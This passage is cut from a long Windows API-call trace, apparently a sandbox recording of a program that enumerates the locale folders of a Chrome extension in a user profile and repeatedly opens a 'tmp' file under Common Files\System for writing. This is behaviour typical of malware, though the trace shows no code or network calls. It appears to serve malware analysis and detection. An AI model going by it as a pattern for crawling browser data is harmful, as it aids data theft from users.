| out: hFindFile=0x7d18b0) returned 1 [0137.661] GetLastError () returned 0x12 [0137.661] AreFileApisANSI () returned 1 [0137.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.661] GetFileType (hFile=0x128) returned 0x1 [0137.661] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.717] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.717] GetLastError () returned 0x12 [0137.717] AreFileApisANSI () returned 1 [0137.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.718] GetFileType (hFile=0x128) returned 0x1 [0137.718] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.718] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.718] GetLastError () returned 0x12 [0137.718] AreFileApisANSI () returned 1 [0137.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.718] GetFileType (hFile=0x128) returned 0x1 [0137.719] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.753] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.753] GetLastError () returned 0x12 [0137.753] AreFileApisANSI () returned 1 [0137.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.753] GetFileType (hFile=0x128) returned 0x1 [0137.753] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.754] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.754] GetLastError () returned 0x12 [0137.754] AreFileApisANSI () returned 1 [0137.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.754] GetFileType (hFile=0x128) returned 0x1 [0137.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ee5030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ee5030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.800] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.800] GetLastError () returned 0x12 [0137.800] AreFileApisANSI () returned 1 [0137.800] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.800] GetFileType (hFile=0x128) returned 0x1 [0137.800] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.801] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.801] GetLastError () returned 0x12 [0137.801] AreFileApisANSI () returned 1 [0137.801] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.801] GetFileType (hFile=0x128) returned 0x1 [0137.801] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.846] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.847] GetLastError () returned 0x12 [0137.847] AreFileApisANSI () returned 1 [0137.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.847] GetFileType (hFile=0x128) returned 0x1 [0137.847] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.847] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.847] GetLastError () returned 0x12 [0137.847] AreFileApisANSI () returned 1 [0137.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.847] GetFileType (hFile=0x128) returned 0x1 [0137.848] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.893] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.893] GetLastError () returned 0x12 [0137.893] AreFileApisANSI () returned 1 [0137.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.894] GetFileType (hFile=0x128) returned 0x1 [0137.894] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.894] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.894] GetLastError () returned 0x12 [0137.894] AreFileApisANSI () returned 1 [0137.894] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.895] GetFileType (hFile=0x128) returned 0x1 [0137.895] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.940] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.940] GetLastError () returned 0x12 [0137.940] AreFileApisANSI () returned 1 [0137.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.941] GetFileType (hFile=0x128) returned 0x1 [0137.941] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.941] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.941] GetLastError () returned 0x12 [0137.941] AreFileApisANSI () returned 1 [0137.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.942] GetFileType (hFile=0x128) returned 0x1 [0137.942] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.987] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.987] GetLastError () returned 0x12 [0137.987] AreFileApisANSI () returned 1 [0137.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.987] GetFileType (hFile=0x128) returned 0x1 [0137.988] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0137.988] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0137.988] GetLastError () returned 0x12 [0137.988] AreFileApisANSI () returned 1 [0137.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0137.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0137.988] GetFileType (hFile=0x128) returned 0x1 [0137.988] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.034] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.034] GetLastError () returned 0x12 [0138.034] AreFileApisANSI () returned 1 [0138.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.034] GetFileType (hFile=0x128) returned 0x1 [0138.034] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.035] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.035] GetLastError () returned 0x12 [0138.035] AreFileApisANSI () returned 1 [0138.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.035] GetFileType (hFile=0x128) returned 0x1 [0138.035] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0138.081] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0138.081] GetLastError () returned 0x12 [0138.081] AreFileApisANSI () returned 1 [0138.081] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0138.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0138.081] GetFileType (hFile=0x128) returned 0x1 [0138.081] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 